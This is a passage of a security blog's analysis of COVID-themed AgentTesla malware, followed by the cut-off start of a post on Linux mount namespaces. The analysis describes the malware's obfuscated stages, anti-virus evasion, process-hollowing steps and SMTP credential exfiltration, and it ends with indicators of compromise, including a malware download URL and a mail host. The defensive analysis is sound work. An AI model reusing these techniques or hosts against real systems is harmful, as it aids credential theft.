&lt;span class="link-label">dnSpy&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
it is then possible to directly
dump this memory segment to disk for further analysis. Also, writing a modified version of the DLL back into the memory segment is an option that can make some analysis
tasks easier.&lt;/p>
&lt;h3 id="fourth-stage-loldll">Fourth Stage: &lt;code>LOL.dll&lt;/code>&lt;/h3>
&lt;p>Like all other stages the extracted DLL is obfuscated as well:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_obfuscated_hua490cf74e49f1aa7053b7c2cf993fa34_107174_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_obfuscated_hua490cf74e49f1aa7053b7c2cf993fa34_107174_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_obfuscated_hua490cf74e49f1aa7053b7c2cf993fa34_107174_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/lol_obfuscated.jpg"
width="1152"
height="395"
alt="LOL Obfuscated"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
LOL Obfuscated&lt;/figcaption>
&lt;/figure>
&lt;p>In this stage the software hides its executable binary through file
attributes and gains persistence by creating a shortcut in the
startup folder of the compromised user:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_shortcut_hudf2aaf653f783353c4e618366cef54b1_146885_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_shortcut_hudf2aaf653f783353c4e618366cef54b1_146885_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_shortcut_hudf2aaf653f783353c4e618366cef54b1_146885_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/lol_shortcut.jpg"
width="1075"
height="464"
alt="LOL Persistence&amp;#34;"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
LOL Persistence&amp;#34;&lt;/figcaption>
&lt;/figure>
&lt;p>Hence, the original second stage (&lt;code>yUtro.exe&lt;/code>) is executed again after
restarting the system.&lt;/p>
&lt;p>Eventually a call to &lt;code>XD()&lt;/code> is made, which decodes and reverses strings
in memory. These strings are then used to check whether specific anti virus
products are running on the machine:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_av_huc1b5104b5ec69c8a42e1a191e5eb9521_172736_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_av_huc1b5104b5ec69c8a42e1a191e5eb9521_172736_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_av_huc1b5104b5ec69c8a42e1a191e5eb9521_172736_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/lol_av.jpg"
width="949"
height="462"
alt="LOL AV (1)"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
LOL AV (1)&lt;/figcaption>
&lt;/figure>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_av_detect_huf539e33efc101ba960c8322d4e3c2449_21244_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_av_detect_huf539e33efc101ba960c8322d4e3c2449_21244_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/lol_av_detect_huf539e33efc101ba960c8322d4e3c2449_21244_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/lol_av_detect.jpg"
width="715"
height="103"
alt="LOL AV (2)"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
LOL AV (2)&lt;/figcaption>
&lt;/figure>
&lt;p>Using the next stage the malware tries to remove any hooking performed by AV
systems, as described in the next section.&lt;/p>
&lt;h3 id="fifth-stage-unhookdll">Fifth Stage: &lt;code>Unhook.dll&lt;/code>&lt;/h3>
&lt;p>Using a fixed list of process and directory names, this stage tries to detect
anti virus software and virtual machine specific services:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/unhook_huef9b9ccfb9e85ba246d9154cb297867a_84571_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/unhook_huef9b9ccfb9e85ba246d9154cb297867a_84571_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/unhook_huef9b9ccfb9e85ba246d9154cb297867a_84571_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/unhook.jpg"
width="1152"
height="376"
alt="Unhook"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Unhook&lt;/figcaption>
&lt;/figure>
&lt;p>In case this test result is positive calls to &lt;code>VirtualAllocEx()&lt;/code> follow which
relocate parts of the application memory. This detection was bypassed directly
in the debugger by always setting the &lt;code>flag&lt;/code> value to &lt;code>true&lt;/code>. Thus,
no further investigation of the unhooking process was performed.&lt;/p>
&lt;p>After the fifth stage is completed, the execution goes back to the previous stage (&lt;code>LOL.dll&lt;/code>), which then decrypts and invokes the next stage.&lt;/p>
&lt;h3 id="sixth-stage-26dll">Sixth Stage: &lt;code>26.dll&lt;/code>&lt;/h3>
&lt;p>This is the last stage before the actual AgentTesla payload is executed. The
way AgentTesla gets executed is quite different from the previous calls to
&lt;code>Assembly.Load()&lt;/code> and the following &lt;code>Invoke()&lt;/code>.&lt;/p>
&lt;p>This stage creates an entire new process for AgentTesla by the use of native Windows API functions.
Below, some of the relevant imports are shown:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_winapi_import_hue24d08fa6872d3708de13556c17c7859_108077_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_winapi_import_hue24d08fa6872d3708de13556c17c7859_108077_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_winapi_import_hue24d08fa6872d3708de13556c17c7859_108077_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/04_winapi_import.jpg"
width="1048"
height="313"
alt="WinAPI Imports"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
WinAPI Imports&lt;/figcaption>
&lt;/figure>
&lt;p>Note that as in the previous stages the names of these functions are obfuscated,
such as &lt;code>Jm()&lt;/code> for &lt;code>CreateProcess()&lt;/code>. This makes the entire process creation
harder to track, as the calls to these functions actually look like
the following in the decompiled code:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_call_winapi_hu05f39b7fe227e0c7317aaf0335e1300b_30267_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_call_winapi_hu05f39b7fe227e0c7317aaf0335e1300b_30267_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_call_winapi_hu05f39b7fe227e0c7317aaf0335e1300b_30267_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/04_call_winapi.jpg"
width="981"
height="95"
alt="Calls To WinAPI"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Calls To WinAPI&lt;/figcaption>
&lt;/figure>
&lt;p>After reverse engineering the execution of AgentTesla, the whole process can be
summarized as follows:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Create a new process that has the original second stage payload &lt;code>yUtro.exe&lt;/code> loaded using &lt;code>CreateProcess()&lt;/code>. This process is created in suspended state, which means that the execution does not take place at the moment.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Allocate a new memory segment in the child process at &lt;code>0x400000&lt;/code> with
&lt;code>VirtualAllocEx()&lt;/code>. This segment has to be readable, writable, and
executable. This can also be observed with the tool &lt;code>ProcessHacker&lt;/code>:&lt;/p>
&lt;/li>
&lt;/ol>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_suspended_child_huf648134a9287d9bbd22abbaaf3b16fb2_294724_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_suspended_child_huf648134a9287d9bbd22abbaaf3b16fb2_294724_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_suspended_child_huf648134a9287d9bbd22abbaaf3b16fb2_294724_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/04_suspended_child.jpg"
width="823"
height="571"
alt="Suspended Child Process"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Suspended Child Process&lt;/figcaption>
&lt;/figure>
&lt;ol start="3">
&lt;li>Decrypt the AgentTesla program code and write it to the memory segment
allocated previously with &lt;code>WriteProcessMemory()&lt;/code>. This memory segment now
contains an entirely new executable:&lt;/li>
&lt;/ol>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_writeprocessmem_hu63e8f76a1b343b7040b820136258a82c_102013_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_writeprocessmem_hu63e8f76a1b343b7040b820136258a82c_102013_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/04_writeprocessmem_hu63e8f76a1b343b7040b820136258a82c_102013_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/04_writeprocessmem.png"
width="1011"
height="486"
alt="After Writing Process Memory"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
After Writing Process Memory&lt;/figcaption>
&lt;/figure>
&lt;ol start="4">
&lt;li>
&lt;p>Start the execution of AgentTesla by calling &lt;code>ResumeThread()&lt;/code> on the child
process.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>The child process will then start and execute the AgentTesla payload instead
of its original payload.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Again, it is possible to dump the decrypted program code directly from memory
using &lt;code>dnSpy&lt;/code> by exporting the buffer passed to &lt;code>WriteProcessMemory()&lt;/code>.
With this exported binary it is possible to execute and debug AgentTesla directly.
The parent process is killed after the child process has been resumed.&lt;/p>
&lt;h3 id="seventh-stage-agenttesla-xlcglrxgqhsttkqesegecedbskwvalkjfwtexe">Seventh Stage: AgentTesla (&lt;code>xLCgLrXGqhSttKqesegeCEDbSkwVaLKjFwT.exe&lt;/code>)&lt;/h3>
&lt;p>Finally arriving in AgentTesla&amp;rsquo;s code it can be observed that the program code
is again obfuscated. However, the used name randomization is slightly different:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/agentTeslaCode_hu5a97dabbfff5958d66c4b28a5d573d46_36075_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/agentTeslaCode_hu5a97dabbfff5958d66c4b28a5d573d46_36075_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/agentTeslaCode_hu5a97dabbfff5958d66c4b28a5d573d46_36075_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/agentTeslaCode.jpg"
width="823"
height="258"
alt="AgentTesla Code"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
AgentTesla Code&lt;/figcaption>
&lt;/figure>
&lt;p>From this point on, AgentTesla runs in the background and performs its work, i.e, harvesting credentials and other information and reporting the data
back to the attacker(s). The easiest way to observe the actual search for stored credentials is by using
ProcessMonitor:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/05_read_creds_hua5d8aeaffc79cffe7387296879573162_130055_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/05_read_creds_hua5d8aeaffc79cffe7387296879573162_130055_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/05_read_creds_hua5d8aeaffc79cffe7387296879573162_130055_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/05_read_creds.jpg"
width="600"
height="251"
alt="AgentTesla Harvesting Credentials"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
AgentTesla Harvesting Credentials&lt;/figcaption>
&lt;/figure>
&lt;p>Interestingly, this variant of AgentTesla does not use HTTP requests to transmit
data. Instead it uses SMTP in combination with hard coded credentials to login at the
remote mail server:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/smtp_creds_profiling_hu15e4e38d048a7f28d79c17c7e2171f2b_124326_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/smtp_creds_profiling_hu15e4e38d048a7f28d79c17c7e2171f2b_124326_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/covid19malware/smtp_creds_profiling_hu15e4e38d048a7f28d79c17c7e2171f2b_124326_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/covid19malware/smtp_creds_profiling.jpg"
width="750"
height="603"
alt="AgentTesla Leaks Credentials"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
AgentTesla Leaks Credentials&lt;/figcaption>
&lt;/figure>
&lt;p>There are various kinds of transmitted data:&lt;/p>
&lt;ol>
&lt;li>Recorded keystrokes and clipboard entries as raw email messages.&lt;/li>
&lt;li>A screenshot of the victim&amp;rsquo;s machine as JPEG attachment.&lt;/li>
&lt;li>A ZIP archive containing all credential databases that were found on the
machine.&lt;/li>
&lt;/ol>
&lt;p>Sending of this data takes place periodically, so new credentials can also be
obtained by an attacker. Additionally, profiling data of the system, its user and the installed
hardware is transmitted.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Comparing the complex staging process to the simple data exfiltration mechanism
that relies on hard coded credentials
leads to the conclusion that this malware was created from several components,
developed by different authors. It&amp;rsquo;s therefore possible that the whole malware
campaign was carried out by rather low-skilled attacker(s). Another fact
indicating that various malware modules may have been combined in this
attack, is the different obfuscation method found in the final AgentTesla executable.&lt;/p>
&lt;hr>
&lt;p>All samples have been submitted to Microsoft to add Windows Defender
signatures, in case they are not already in the process of being distributed.&lt;/p>
&lt;h2 id="iocs">IOCs&lt;/h2>
&lt;p>These are the indicators of compromise for the analysed sample:&lt;/p>
&lt;ul>
&lt;li>Malicious document &lt;code>covid.doc&lt;/code> (or similar name) with SHA256 hash &lt;code>a02848ec22bd6cac61258bf9c83a8feceb4ca5f3f6b828cc47a2e44a14a34abf&lt;/code>&lt;/li>
&lt;li>Dropped and hidden file &lt;code>yUtro.exe&lt;/code> or &lt;code>chme.exe&lt;/code> with SHA256 hash &lt;code>a1f8429d0e0750461e796507148f39535fbf28710d45dd5fc90691235b078271&lt;/code>&lt;/li>
&lt;li>Created shortcut to &lt;code>yUtro.exe&lt;/code> at &lt;code>C:\Users\&amp;lt;User&amp;gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Start-up\floqqq.lnk&lt;/code>&lt;/li>
&lt;li>Compressed harvested credentials at &lt;code>C:\Users\&amp;lt;User&amp;gt;\AppData\Roaming\&amp;lt;randomString.zip&amp;gt;&lt;/code>&lt;/li>
&lt;li>DNS requests to &lt;code>mail.novaa-ship.com&lt;/code>&lt;/li>
&lt;li>Communication with &lt;code>5.189.132.254&lt;/code> (hosting &lt;code>yUtro.exe&lt;/code>) or &lt;code>162.241.27.33&lt;/code> (SMTP service)&lt;/li>
&lt;li>File download of &lt;code>http://5.189.132.254/yUtro.exe&lt;/code>&lt;/li>
&lt;/ul>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/coronavirus-used-in-spam-malware-file-names-and-malicious-domains"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1:&lt;/span>
&lt;/a>&lt;a
href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/coronavirus-used-in-spam-malware-file-names-and-malicious-domains"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Developing&lt;/span>
&lt;/a>&lt;a
href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/coronavirus-used-in-spam-malware-file-names-and-malicious-domains"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Story:&lt;/span>
&lt;/a>&lt;a
href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/coronavirus-used-in-spam-malware-file-names-and-malicious-domains"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">COVID-19&lt;/span>
&lt;/a>&lt;a
href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/coronavirus-used-in-spam-malware-file-names-and-malicious-domains"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Used&lt;/span>
&lt;/a>&lt;a
href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/coronavirus-used-in-spam-malware-file-names-and-malicious-domains"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/coronavirus-used-in-spam-malware-file-names-and-malicious-domains"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Malicious&lt;/span>
&lt;/a>&lt;a
href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/coronavirus-used-in-spam-malware-file-names-and-malicious-domains"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Campaigns&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://krebsonsecurity.com/2018/10/who-is-agent-tesla/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2:&lt;/span>
&lt;/a>&lt;a
href="https://krebsonsecurity.com/2018/10/who-is-agent-tesla/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Krebs&lt;/span>
&lt;/a>&lt;a
href="https://krebsonsecurity.com/2018/10/who-is-agent-tesla/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">On&lt;/span>
&lt;/a>&lt;a
href="https://krebsonsecurity.com/2018/10/who-is-agent-tesla/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Security:&lt;/span>
&lt;/a>&lt;a
href="https://krebsonsecurity.com/2018/10/who-is-agent-tesla/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Who&lt;/span>
&lt;/a>&lt;a
href="https://krebsonsecurity.com/2018/10/who-is-agent-tesla/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Is&lt;/span>
&lt;/a>&lt;a
href="https://krebsonsecurity.com/2018/10/who-is-agent-tesla/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Agent&lt;/span>
&lt;/a>&lt;a
href="https://krebsonsecurity.com/2018/10/who-is-agent-tesla/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Tesla?&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://attack.mitre.org/software/S0331/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3:&lt;/span>
&lt;/a>&lt;a
href="https://attack.mitre.org/software/S0331/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">MITRE&lt;/span>
&lt;/a>&lt;a
href="https://attack.mitre.org/software/S0331/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">ATT&amp;amp;amp;CK:&lt;/span>
&lt;/a>&lt;a
href="https://attack.mitre.org/software/S0331/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Agent&lt;/span>
&lt;/a>&lt;a
href="https://attack.mitre.org/software/S0331/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Tesla&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/de-de/foto/action-aktion-beleuchtet-computer-735911/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/action-aktion-beleuchtet-computer-735911/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>Linux Container Primitives: Mount Namespaces and Information Leaks</title><link>https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/</link><author>Philipp Schmied</author><pubDate>Tue, 24 Mar 2020 08:56:10 +0100</pubDate><category>linux</category><category>container</category><description>
&lt;p>In the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">previous&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
of the Linux Container Primitive series, basic information regarding namespaces were covered. This post discusses the mount namespace type and its usage in detail. Also, an information leak that&amp;rsquo;s related to the usage of mount namespaces in Docker is described. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.&lt;/p>
&lt;ol start="0">
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Containers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Description&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Related&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Leak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
